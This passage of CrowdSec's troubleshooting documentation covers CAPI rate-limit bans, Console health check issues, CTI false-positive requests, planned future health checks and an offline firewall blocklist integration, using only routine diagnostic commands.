This is commonly caused by misconfiguration and triggers a 1-hour ban from CrowdSec API. info CAPI restrictions apply only to free users. Enterprise users are not impacted. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: Amount of logins exceeds thresholds. * **Criticality**: โš ๏ธ High * **Impact**: No enrollment, no metrics, no decisions, and no reputation sharing updates ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * **CrowdSec containers restart loop**: CrowdSec containers stuck in a restart loop. * **`cscli capi status` spam**: Integrations or 3rd party software using `cscli capi status` too often. * **Misconfiguration or multiple instances**: Duplicate engines or invalid tokens trigger repeated logins. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Temporary ban due to login bursts[โ€‹](#temporary-ban-due-to-login-bursts "Direct link to Temporary ban due to login bursts") In **CAPI login**, every IP using a **free account** can be blocked for 1 hour when thresholds are exceeded: * **Non Sharing, not enrolled**: more than 20 logins in 50 minutes * **Sharing, not enrolled**: more than 20 logins in 50 minutes * **Enrolled, non sharing**: more than 20 requests in 50 minutes * **Enrolled, sharing**: more than 20 requests in 50 minutes * **Non-free users**: this restriction does not apply #### ๐Ÿ”Ž Check for repeated login attempts[โ€‹](#-check-for-repeated-login-attempts "Direct link to ๐Ÿ”Ž Check for repeated login attempts") Look for repeated CAPI login failures or bursts: SHCOPY ``` sudo journalctl -u crowdsec -n 100 ``` If you see many login attempts in a short period, you likely hit the temporary ban. #### ๐Ÿ”Ž Inspect engine activity[โ€‹](#-inspect-engine-activity "Direct link to ๐Ÿ”Ž Inspect engine activity") Check that the engine is stable and not in a crash loop: SHCOPY ``` sudo systemctl status crowdsec ``` SHCOPY ``` sudo journalctl -u crowdsec -n 50 ``` Check logs for Docker SHCOPY ``` docker compose up ``` Crash loops can trigger repeated logins, resulting in 403s. #### ๐Ÿ› ๏ธ Wait for ban expiry and reduce login frequency[โ€‹](#๏ธ-wait-for-ban-expiry-and-reduce-login-frequency "Direct link to ๐Ÿ› ๏ธ Wait for ban expiry and reduce login frequency") Wait **1 hour** for the ban to expire, then ensure the engine is not repeatedly re-authenticating. If you run multiple instances behind the same NAT, consider using **one LAPI instance** or reducing reconnection frequency to avoid bursts. #### ๐Ÿ› ๏ธ Stabilize the engine[โ€‹](#๏ธ-stabilize-the-engine "Direct link to ๐Ÿ› ๏ธ Stabilize the engine") Resolve the underlying crash or restart loop before retrying CAPI: SHCOPY ``` sudo systemctl restart crowdsec ``` ### Misconfiguration or multiple instances[โ€‹](#misconfiguration-or-multiple-instances "Direct link to Misconfiguration or multiple instances") Running multiple instances from the same public IP can trigger rate limiting. ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After making changes: Restart or reload CrowdSec: `sudo systemctl restart crowdsec` 1. Check engine status: SHCOPY ``` sudo cscli console status ``` 2. Check CAPI connectivity: SHCOPY ``` sudo cscli capi status ``` If CAPI returns 200/204 and your console status is OK, the 403 is resolved. ## Known Issues[โ€‹](#known-issues "Direct link to Known Issues") 3rd party software or related issues: * [Pangolin](https://github.com/orgs/fosrl/discussions/2119) * [CrowdSec Issue](https://github.com/crowdsecurity/crowdsec/issues/4165) ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Security Engine Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/security_engine.md) - General Security Engine issues * [Network Management](https://docs.crowdsec.net/docs/configuration/network_management) - Console and CAPI endpoints ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you still get 403 responses from CAPI: * Check [Discourse](https://discourse.crowdsec.net/) for similar cases * Ask on [Discord](https://discord.gg/crowdsec) with your `sudo cscli support dump` output --- # Console Health Check Issues The CrowdSec Console monitors the health of your CrowdSec stack *(Security Engines, Log Processors, remediation components and blocklist integrations)* and raises alerts when issues are detected.
This page lists all possible health check issues, their trigger conditions, and links to detailed troubleshooting guides. ## Understanding Issue Criticality[โ€‹](#understanding-issue-criticality "Direct link to Understanding Issue Criticality") * ๐Ÿ”ฅ **Critical**: Immediate attention required - core functionality is impaired * โš ๏ธ **High**: Important issue that should be addressed soon - may impact protection effectiveness * ๐Ÿ’ก **Recommended**: Additional actions that improve your security posture *(coming in future Stack Health iterations)* * ๐ŸŒŸ **Bonus**: Optimization advice and upper-tier recommendations with strong return on value *(coming in future Stack Health iterations)* ## Health Check Issues Overview[โ€‹](#health-check-issues-overview "Direct link to Health Check Issues Overview") | Issue | Criticality | Summary | Resolution | | --------------------------------------------- | ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | **Integration for Firewall Offline** | ๐Ÿ”ฅ Critical | Firewall has not pulled from BLaaS endpoint for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_integration_fw_offline.md) | | **Integration for Firewall Pulling Zero IPs** | โš ๏ธ High | Firewall BLaaS integration is content is empty | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_integration_fw_zero_ips.md) | | **Integration for RC Offline** | ๐Ÿ”ฅ Critical | Remediation Component has not pulled from endpoint for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_integration_rc_offline.md) | | **Log Processor No Alerts** | โš ๏ธ High | Log Processor has not generated alerts in 48 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_alerts.md) | | **Log Processor No Logs Parsed** | ๐Ÿ”ฅ Critical | Logs read but none parsed in the last 48 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md) | | **Log Processor No Logs Read** | ๐Ÿ”ฅ Critical | No logs acquired in the last 24 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md) | | **Log Processor Offline** | ๐Ÿ”ฅ Critical | Log Processor has not checked in with LAPI for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_offline.md) | | **Security Engine No Alerts** | โš ๏ธ High | No alerts generated in the last 48 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) | | **Security Engine No RC** | ๐Ÿ’ก Reco. | Security Engine has no Remediation Component registered | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_rc.md) | | **Security Engine No Active RC** | ๐Ÿ”ฅ Critical | All registered Remediation Components have been inactive for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_active_rc.md) | | **Security Engine Offline** | ๐Ÿ”ฅ Critical | Security Engine has not reported to Console for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_offline.md) | | **Security Engine Too Many Alerts** | โš ๏ธ High | More than 250,000 alerts in 6 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_too_many_alerts.md) | ## Issue Dependencies[โ€‹](#issue-dependencies "Direct link to Issue Dependencies") Some issues are related and share common root causes: * **Engine No Alerts** may be caused by: * LP No Logs Read * LP No Logs Parsed * Scenarios not installed or in simulation mode * **LP No Alerts** may be caused by: * LP No Logs Read * LP No Logs Parsed * Scenarios not matching the parsed events Understanding these dependencies helps you troubleshoot faster by addressing root causes first. ## Future Enhancements[โ€‹](#future-enhancements "Direct link to Future Enhancements") For planned and experimental health checks, see [Future Console Health Check Issues](https://docs.crowdsec.net/u/troubleshooting/future_console_issues.md) for features including: * Enhanced configuration validation * Blocklists optimization recommendations * Collection update notifications * False positive prevention checks * Premium feature recommendation based on detected benefit ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you've followed the troubleshooting guides and still need assistance: * [Discourse](https://discourse.crowdsec.net/) * [Discord](https://discord.gg/crowdsec) * [GitHub Issues](https://github.com/crowdsecurity/crowdsec/issues) --- # Troubleshooting CTI ## Community support[โ€‹](#community-support "Direct link to Community support") Please try to resolve your issue by reading [the documentation](https://docs.crowdsec.net/u/cti_api/intro.md). If you're unable to find a solution, don't hesitate to seek assistance in: * [Discourse](https://discourse.crowdsec.net/) * [Discord](https://discord.gg/crowdsec) ## False Positive[โ€‹](#false-positive "Direct link to False Positive") ### How to Get Tagged as a False Positive[โ€‹](#how-to-get-tagged-as-a-false-positive "Direct link to How to Get Tagged as a False Positive") To be able to be classified as a false positive, you need a proper technical justification of why your IP might be misclassified as a threat. This part is to be reviewed and validated by crowdsec. To be classified as a false positive, you need a technical justification for why your IP might be misclassified as a threat. This is reviewed and validated by CrowdSec. You also need public documentation stating the IP, ranges, and/or reverse DNS associated with the assets in question. This data must be machine-readable (no HTML, no PDF, etc.). Once your IP addresses are publicly available and accessible via HTTPS, you can contact . Please include the URL of your IPs and ranges. The CrowdSec team will then update CTI false-positive data so your IPs are flagged correctly. Here are some examples of providers who share their IPs and ranges: * [Bing](https://www.bing.com/toolbox/bingbot.json) * [Google Bot](https://developers.google.com/search/apis/ipranges/googlebot.json) * [Cloudfront](https://d7uri8nf7uskq.cloudfront.net/tools/list-cloudfront-ips) * [Fastly](https://api.fastly.com/public-ip-list) note You donโ€™t need to follow a specific format for the exposed list, but itโ€™s recommended to keep the same format over time. Otherwise, the false positive enrichment may stop working. Itโ€™s best to use CSV or JSON for the list format. --- # Future Console Health Check Issues This page lists potential health checks and recommendations that may be added to CrowdSec Console in future versions. They are grouped by type and priority to guide feature development. info These features are planned or under consideration and are not yet available in the Console. This documentation is maintained for planning purposes. ## Overview[โ€‹](#overview "Direct link to Overview") This page documents **17 future issues** across four main categories: * **Configuration Issues** (4 issues) - Initial setup and component configuration * **Maintenance & Updates** (4 issues) - Version updates and collection management * **Configuration Validation** (3 issues) - Detecting misconfigurations and optimization opportunities * **Premium Features & Enhancements** (6 issues) - Value-added features and intelligent upgrade recommendations ## Configuration Issues[โ€‹](#configuration-issues "Direct link to Configuration Issues") ### No Security Engine or Blocklist Integration Configured[โ€‹](#no-security-engine-or-blocklist-integration-configured "Direct link to No Security Engine or Blocklist Integration Configured") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Organization has neither Security Engines (LAPI) nor Blocklist-as-a-Service (BLaaS) integrations configured * **Description**: Account is set up but has no active detection or blocklist infrastructure * **Impact**: No threat detection or proactive blocking capabilities * **Category**: Initial Configuration ### No Scenarios Installed[โ€‹](#no-scenarios-installed "Direct link to No Scenarios Installed") * **Criticality**: ๐Ÿ”ฅ Critical * **Trigger**: Security Engine has zero scenarios installed * **Description**: No detection rules configured to identify threats * **Impact**: Even if logs are parsed, no alerts can be generated * **Category**: Configuration ### No Notification Channels Configured[โ€‹](#no-notification-channels-configured "Direct link to No Notification Channels Configured") * **Criticality**: ๐Ÿ’ก Recommended (bonus for Premium users) * **Trigger**: No notification integrations configured for Console alerts * **Description**: User won't receive proactive notifications about stack health issues * **Impact**: Delayed response to critical problems * **Notes**: Recommended as a Premium feature benefit * **Category**: Configuration ### Alert Context Not Activated[โ€‹](#alert-context-not-activated "Direct link to Alert Context Not Activated") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Alert context enrichment is disabled in Console settings * **Description**: Missing valuable CTI context data for alert analysis * **Impact**: Reduced threat intelligence and harder troubleshooting * **Category**: Configuration Enhancement ## Maintenance & Updates[โ€‹](#maintenance--updates "Direct link to Maintenance & Updates") ### Security Engine Version Outdated[โ€‹](#security-engine-version-outdated "Direct link to Security Engine Version Outdated") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Security Engine running an older version when a new stable release is available * **Description**: Missing bug fixes, performance improvements, security patches, and new features * **Impact**: Potential vulnerabilities, reduced performance, or missing functionality * **Requirements**: Version reporting from Security Engine, release tracking system * **Notes**: Could highlight major version upgrades separately (e.g., 1.6.x โ†’ 1.7.x with significant new features) * **Category**: Maintenance ### Remediation Component Version Outdated[โ€‹](#remediation-component-version-outdated "Direct link to Remediation Component Version Outdated") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Active remediation components (bouncers) running outdated versions * **Description**: Remediation components missing features, bug fixes, or security patches from newer releases * **Impact**: Reduced remediation effectiveness, potential vulnerabilities, or missing compatibility * **Requirements**: Bouncer version reporting from FOSS/backend, release tracking for all bouncer types * **Category**: Maintenance ### Collection Version Outdated[โ€‹](#collection-version-outdated "Direct link to Collection Version Outdated") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Installed collections have newer versions available on the Hub * **Description**: Using outdated detection rules and parsers, potentially missing scenarios from updated collections * **Impact**: Missing newer attack patterns, parser improvements, and additional scenarios added to collection * **Requirements**: Hub version comparison, backend processing * **Notes**: Includes detecting when collection on Hub has new scenarios not present in installed version * **Category**: Maintenance ### Incomplete Scenario Installation from Collection[โ€‹](#incomplete-scenario-installation-from-collection "Direct link to Incomplete Scenario Installation from Collection") * **Criticality**: โš ๏ธ High * **Trigger**: Scenarios installed but not representing the complete collection (missing scenarios compared to Hub collection definition) * **Description**: Partial collection installation leaves detection gaps * **Impact**: Reduced detection coverage for specific attack types within the collection scope * **Requirements**: Collection definition comparison between installed and Hub versions * **Category**: Configuration Validation ## Configuration Validation & Optimization[โ€‹](#configuration-validation--optimization "Direct link to Configuration Validation & Optimization") ### Acquisition and Collection Mismatch[โ€‹](#acquisition-and-collection-mismatch "Direct link to Acquisition and Collection Mismatch") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Collection installed (e.g., nginx) but no corresponding acquisition configuration for that log type * **Description**: Detection rules installed but no logs being collected to trigger them * **Impact**: Wasted resources, collection cannot function as intended * **Example**: NGINX collection installed but no nginx access logs configured in acquisition * **Category**: Configuration Validation ### Long-Duration Decisions[โ€‹](#long-duration-decisions "Direct link to Long-Duration Decisions") * **Criticality**: ๐ŸŒŸ Bonus (informational) * **Trigger**: Active decisions with TTL exceeding threshold (e.g., 30+ days) * **Description**: Very long bans may indicate manual decisions that should be reviewed * **Impact**: No direct functional impact but may need periodic review * **Notes**: Informational alert for housekeeping * **Category**: Maintenance ### Decisions Against Legitimate IPs[โ€‹](#decisions-against-legitimate-ips "Direct link to Decisions Against Legitimate IPs") * **Criticality**: โš ๏ธ High * **Trigger**: Active decisions against known legitimate IP ranges (Let's Encrypt, CDN providers, cloud services, etc.) * **Description**: Potentially blocking legitimate service traffic * **Impact**: Service disruption (e.g., SSL certificate renewal failures, CDN issues, API connectivity problems) * **Requirements**: Maintained database of known legitimate IP ranges and services * **Category**: False Positive Prevention ## Premium Features & Intelligent Recommendations[โ€‹](#premium-features--intelligent-recommendations "Direct link to Premium Features & Intelligent Recommendations") ### Alert Volume Over Free Quota[โ€‹](#alert-volume-over-free-quota "Direct link to Alert Volume Over Free Quota") * **Criticality**: ๐ŸŒŸ Bonus (informational/upgrade opportunity) * **Trigger**: Alert volume approaching or exceeding free tier limits * **Description**: High alert activity may benefit from Premium tier features * **Impact**: Opportunity to upgrade for enhanced capabilities * **Notes**: Informational nudge toward Premium upgrade for heavy users * **Category**: Upgrade Opportunity ### Notification Overload - Premium Recommended[โ€‹](#notification-overload---premium-recommended "Direct link to Notification Overload - Premium Recommended") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Community user with multiple Security Engines OR high alert/activity volume * **Description**: Complex setup would benefit from notification channels to track issues across infrastructure * **Impact**: Missing visibility across distributed deployment or high-activity environment * **Notes**: Highlight Premium notification features for managing complex deployments * **Category**: Enhancement - Upgrade Opportunity ### AIUA Not Activated (Premium User)[โ€‹](#aiua-not-activated-premium-user "Direct link to AIUA Not Activated (Premium User)") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Premium tier user without "Am I Under Attack" (AIUA) feature enabled * **Description**: Premium feature not utilized despite availability * **Impact**: Not leveraging paid feature for automated attack detection and response * **Notes**: Premium feature - ensure paid users activate available capabilities * **Category**: Premium Feature Activation ### AIUA Not Activated (Community User)[โ€‹](#aiua-not-activated-community-user "Direct link to AIUA Not Activated (Community User)") * **Criticality**: ๐ŸŒŸ Bonus (informational) * **Trigger**: Community tier user without AIUA enabled * **Description**: Missing automated attack detection available in Premium tiers * **Impact**: Manual attack detection vs automated Premium feature * **Notes**: Possible upgrade to Premium for automated attack detection * **Category**: Enhancement - Upgrade Opportunity ### High-Value Blocklist Available (Same Tier - >30%)[โ€‹](#high-value-blocklist-available-same-tier---30 "Direct link to High-Value Blocklist Available (Same Tier - >30%)") * **Criticality**: ๐Ÿ’ก Recommended * **Trigger**: Blocklist with >30% protection prediction (Alakazam score) available for user's current tier but not subscribed * **Description**: High-impact blocklist available at current subscription level could significantly improve protection * **Impact**: Missing substantial proactive threat blocking opportunity * **Requirements**: Alakazam efficiency prediction calculation based on user's threat profile * **Example**: Community user not subscribed to high-efficiency free blocklist, or Premium user not using available Premium blocklist * **Category**: Enhancement - Optimization ### High-Value Blocklist Available (Upper Tier - >30%)[โ€‹](#high-value-blocklist-available-upper-tier---30 "Direct link to High-Value Blocklist Available (Upper Tier - >30%)") * **Criticality**: ๐ŸŒŸ Bonus (informational/upgrade opportunity) * **Trigger**: Premium/Platinum blocklist with >30% protection prediction available in higher tier * **Description**: Significant protection improvement available through tier upgrade * **Impact**: Major reduction in attack surface through proactive blocking * **Requirements**: Alakazam efficiency prediction showing concrete benefit of upgrade * **Example**: Community user could block 35% of threats with Premium BL, or Premium user could block 40% with Platinum BL * **Notes**: Data-driven upgrade showing measurable security benefit of upgrading * **Category**: Enhancement - Upgrade Opportunity ## Criticality Levels Explained[โ€‹](#criticality-levels-explained "Direct link to Criticality Levels Explained") ### Critical[โ€‹](#critical "Direct link to Critical") Issues that represent complete failure of core functionality. Immediate attention required. ### High[โ€‹](#high "Direct link to High") Important issues that should be addressed soon. May significantly impact protection effectiveness. ### Recommended[โ€‹](#recommended "Direct link to Recommended") Improvements that would enhance security posture or operational efficiency. Should be addressed when possible. ### Bonus[โ€‹](#bonus "Direct link to Bonus") Informational, optimization opportunities, or value-demonstration items. Low priority but helpful for optimization, housekeeping, or demonstrating ROI/upgrade value. ## Key Features[โ€‹](#key-features "Direct link to Key Features") ### Alakazam Protection Prediction[โ€‹](#alakazam-protection-prediction "Direct link to Alakazam Protection Prediction") The **Alakazam scoring system** analyzes your specific threat profile (alerts, attack patterns, geographic sources) and calculates the **predicted effectiveness** of each blocklist: * **>30% threshold**: Significant protection improvement recommended * **Personalized**: Based on your actual threat landscape, not generic statistics * **Tier-aware**: Shows both same-tier optimizations and upgrade opportunities * **Data-driven upgrade**: Concrete, measurable benefit (e.g., "Block 35% of your threats preemptively") ### Smart Collection Management[โ€‹](#smart-collection-management "Direct link to Smart Collection Management") * **Version tracking**: Detect when Hub collections gain new scenarios * **Acquisition alignment**: Ensure installed collections match your log sources * **Completeness validation**: Identify partial installations missing key scenarios ## Implementation Requirements[โ€‹](#implementation-requirements "Direct link to Implementation Requirements") These future issues require: * **Version Tracking**: Security Engine, bouncer, and Hub collection version reporting * **Alakazam Prediction Engine**: Personalized blocklist efficiency scoring based on user's threat profile * **Legitimate IP Database**: Curated list of known good IPs (CDNs, certificate authorities, cloud providers) * **Collection Definition Comparison**: Track scenario additions/changes in Hub collections * **Activity Metrics**: Alert volume, Security Engine count, notification usage patterns ## Related Pages[โ€‹](#related-pages "Direct link to Related Pages") * [Current Console Health Check Issues](https://docs.crowdsec.net/u/troubleshooting/console_issues.md) - Issues currently available in the Console * [Troubleshooting Overview](https://docs.crowdsec.net/u/troubleshooting/intro.md) - General troubleshooting resources ## Feedback[โ€‹](#feedback "Direct link to Feedback") These future issues are based on user feedback and operational insights. If you have suggestions for additional health checks, please: * Share on [Discourse](https://discourse.crowdsec.net/) * Join the discussion on [Discord](https://discord.gg/crowdsec) * Open an issue on [GitHub](https://github.com/crowdsecurity/crowdsec-docs/issues) --- info You may see the **IDPS/WAF of CrowdSec** referred to as **"Security Engine"** and **Bouncers** referred to as **"Remediation Components"** within new documentation.
This is to better reflect the role of each component within the CrowdSec ecosystem. # Troubleshooting We have extended our troubleshooting documentation to cover more common issues and questions.
If you have suggestions, please open an [issue here](https://github.com/crowdsecurity/crowdsec-docs). Also, check our ๐Ÿฉบ [**Stack Health-Check page**](https://docs.crowdsec.net/u/getting_started/health_check.md) to verify that **Detection**, **Community Sharing**, and **Remediation** are working properly. ## Console Health Check Issues[โ€‹](#console-health-check-issues "Direct link to Console Health Check Issues") If you received a health check alert from the CrowdSec Console, check out the [**Console Health Check Issues**](https://docs.crowdsec.net/u/troubleshooting/console_issues.md) page for a complete list of issues, their trigger conditions, and dedicated troubleshooting guides. ## Troubleshooting by Topic[โ€‹](#troubleshooting-by-topic "Direct link to Troubleshooting by Topic") * [Security Engine Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/security_engine.md) * [Remediation Components Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/remediation_components.md) * [CTI Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/cti.md) ## Community support[โ€‹](#community-support "Direct link to Community support") Please try to resolve your issue by reading the documentation. If you're unable to find a solution, don't hesitate to seek assistance in: * [Discourse](https://discourse.crowdsec.net/) * [Discord](https://discord.gg/crowdsec) ## Enterprise plan[โ€‹](#enterprise-plan "Direct link to Enterprise plan") If you are on an Enterprise plan, you can use dedicated support via the Console: ### Stack Health issues list[โ€‹](#stack-health-issues-list "Direct link to Stack Health issues list") | Issue | Criticality | Summary | Resolution | | --------------------------------------------- | ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | **Integration for Firewall Offline** | ๐Ÿ”ฅ Critical | Firewall has not pulled from BLaaS endpoint for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_integration_fw_offline.md) | | **Integration for Firewall Pulling Zero IPs** | โš ๏ธ High | Firewall BLaaS integration is content is empty | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_integration_fw_zero_ips.md) | | **Integration for RC Offline** | ๐Ÿ”ฅ Critical | Remediation Component has not pulled from endpoint for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_integration_rc_offline.md) | | **Log Processor No Alerts** | โš ๏ธ High | Log Processor has not generated alerts in 48 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_alerts.md) | | **Log Processor No Logs Parsed** | ๐Ÿ”ฅ Critical | Logs read but none parsed in the last 48 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md) | | **Log Processor No Logs Read** | ๐Ÿ”ฅ Critical | No logs acquired in the last 24 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md) | | **Log Processor Offline** | ๐Ÿ”ฅ Critical | Log Processor has not checked in with LAPI for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_lp_offline.md) | | **Security Engine No Alerts** | โš ๏ธ High | No alerts generated in the last 48 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) | | **Security Engine No RC** | ๐Ÿ’ก Reco. | Security Engine has no Remediation Component registered | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_rc.md) | | **Security Engine No Active RC** | ๐Ÿ”ฅ Critical | All registered Remediation Components have been inactive for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_active_rc.md) | | **Security Engine Offline** | ๐Ÿ”ฅ Critical | Security Engine has not reported to Console for 24+ hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_offline.md) | | **Security Engine Too Many Alerts** | โš ๏ธ High | More than 250,000 alerts in 6 hours | [Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/issue_se_too_many_alerts.md) | --- # Firewall Integration Offline The **Firewall Integration Offline** issue appears when a firewall configured to pull blocklists directly from CrowdSec Blocklist-as-a-Service (BLaaS) has not pulled in more than 24 hours.
This means your firewall is no longer receiving the latest threat intelligence and blocked IPs. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: No pull from BLaaS endpoint for 24 hours * **Criticality**: ๐Ÿ”ฅ Critical * **Impact**: Firewall blocklist is not updated; new threats are not blocked; firewall may be malfunctioning. ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Firewall rule disabled or removed**](#firewall-rule-disabled-or-removed): The firewall rule that pulls from external blocklists no longer exists or has been disabled. * [**BLaaS credentials invalid**](#blaas-credentials-invalid): The Basic Auth credentials configured in the firewall for the BLaaS endpoint are incorrect, expired, or were regenerated. * [**Network connectivity issues**](#network-connectivity-issues): The firewall cannot reach the BLaaS endpoint due to network problems, DNS issues, or routing failures. * [**Firewall offline**](#firewall-offline): The firewall itself is powered off, unreachable, or not processing rules. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Firewall rule disabled or removed[โ€‹](#firewall-rule-disabled-or-removed "Direct link to Firewall rule disabled or removed") #### ๐Ÿ”Ž Verify the CrowdSec blocklist rule exists and is enabled[โ€‹](#-verify-the-crowdsec-blocklist-rule-exists-and-is-enabled "Direct link to ๐Ÿ”Ž Verify the CrowdSec blocklist rule exists and is enabled") Access your firewall's management interface and check if the CrowdSec blocklist rule is present and enabled. info External blocklist configuration location varies by vendor. Check your firewall's documentation for "External Threat Feeds", "External Dynamic Lists", or "URL Aliases". See [Blocklist Integration Setup](https://docs.crowdsec.net/u/integrations/intro.md) for vendor-specific guidance. Verify: * CrowdSec blocklist rule is present and enabled * URL points to `https://admin.api.crowdsec.net/...` * Use the firewall's "test" or "refresh" function if available #### ๐Ÿ› ๏ธ Re-enable or recreate the external blocklist rule[โ€‹](#๏ธ-re-enable-or-recreate-the-external-blocklist-rule "Direct link to ๐Ÿ› ๏ธ Re-enable or recreate the external blocklist rule") 1. **If the rule is disabled** - Re-enable it in your firewall's configuration 2. **If the rule is missing** - Recreate it following your [firewall's integration documentation](https://docs.crowdsec.net/u/integrations/intro.md) 3. **Trigger manual update** - Use "Refresh Now" or "Update" button and check logs for errors ### BLaaS credentials invalid[โ€‹](#blaas-credentials-invalid "Direct link to BLaaS credentials invalid") info Credentials are shown at creation. Store them in your password manager.
You can regenerate them from the Console UI. #### ๐Ÿ› ๏ธ๐Ÿ”Ž Verify credentials and test connectivity[โ€‹](#๏ธ-verify-credentials-and-test-connectivity "Direct link to ๐Ÿ› ๏ธ๐Ÿ”Ž Verify credentials and test connectivity") ๐Ÿ”Ž Make sure your firewall configuration uses both the BLaaS endpoint URL and the Basic Auth credentials.
๐Ÿ› ๏ธ Use the *Configuration/Refresh Credentials* action on your integration if you lost them. ๐Ÿ”Ž Some firewalls provide Basic Auth forms, but some versions have bugs.
๐Ÿ› ๏ธ Try embedding Basic Auth directly in the URL provided to your firewall: * `https://:@admin.api.crowdsec.net/v1/integrations//content` ### Network connectivity issues[โ€‹](#network-connectivity-issues "Direct link to Network connectivity issues") #### ๐Ÿ”Ž Test connectivity and review logs[โ€‹](#-test-connectivity-and-review-logs "Direct link to ๐Ÿ”Ž Test connectivity and review logs") Test network connectivity from a host on the same network or from the firewall's CLI: SHCOPY ``` # Test basic connectivity curl -I https://admin.api.crowdsec.net/ # Test DNS resolution nslookup admin.api.crowdsec.net ``` Review your firewall's logs for errors related to external blocklist updates. Look for: * `failed to download` - connectivity issue * `authentication failed` or `401` - API key invalid * `SSL certificate verification failed` - certificate trust issue * `timeout` - network connectivity or endpoint unreachable info Log locations vary by firewall vendor. Check your firewall's documentation for system event logs. See [Blocklist Integration Setup](https://docs.crowdsec.net/u/integrations/intro.md) for vendor-specific guidance. #### ๐Ÿ› ๏ธ Fix network connectivity issues[โ€‹](#๏ธ-fix-network-connectivity-issues "Direct link to ๐Ÿ› ๏ธ Fix network connectivity issues") 1. **Check firewall outbound rules** - Ensure outbound HTTPS (443) is allowed to `admin.api.crowdsec.net` 2. **Verify DNS resolution** - Configure public DNS (8.8.8.8, 1.1.1.1) if needed 3. **Check proxy settings** - Verify proxy configuration if using one 4. **Update SSL/TLS certificates** - Ensure firewall trusts public CA certificates See [Network Management documentation](https://docs.crowdsec.net/docs/configuration/network_management) for required endpoints. ### Firewall offline[โ€‹](#firewall-offline "Direct link to Firewall offline") #### ๐Ÿ”Ž Check if firewall is accessible and running[โ€‹](#-check-if-firewall-is-accessible-and-running "Direct link to ๐Ÿ”Ž Check if firewall is accessible and running") Verify basic firewall accessibility: * Can you access the firewall's management interface? * Is the firewall responding to ping requests? * Are firewall services running normally? #### ๐Ÿ› ๏ธ Restore firewall connectivity[โ€‹](#๏ธ-restore-firewall-connectivity "Direct link to ๐Ÿ› ๏ธ Restore firewall connectivity") 1. **Physical/Virtual access** - Check hardware is powered on or VM is running 2. **Management access** - Connect via console/KVM if needed and verify network configuration 3. **After restoring connectivity** - Trigger manual blocklist update and verify in Console ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After making changes: 1. **Trigger manual update** - Use the firewall's "Refresh" or "Update Now" function and wait 30-60 seconds 2. **Check in CrowdSec Console** - Navigate to **Integrations** โ†’ **Blocklists** and verify the "Last Pull" timestamp has updated. The offline alert should clear automatically. 3. **Verify blocklist is populated** - Check your firewall shows IP addresses in the blocklist (number should match your subscription tier) ## Firewall Integration Documentation[โ€‹](#firewall-integration-documentation "Direct link to Firewall Integration Documentation") For detailed setup and configuration specific to your firewall vendor: * [Blocklist Integration Setup Guide](https://docs.crowdsec.net/u/integrations/blocklists/intro) * Vendor-specific integration pages (FortiGate, Palo Alto, pfSense, OPNsense, etc.) ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Remediation Component Integration Offline](https://docs.crowdsec.net/u/troubleshooting/issue_integration_rc_offline.md) - Similar issue for remediation components (bouncers) * [Security Engine Offline](https://docs.crowdsec.net/u/troubleshooting/issue_se_offline.md) - If using agent-based deployment ## 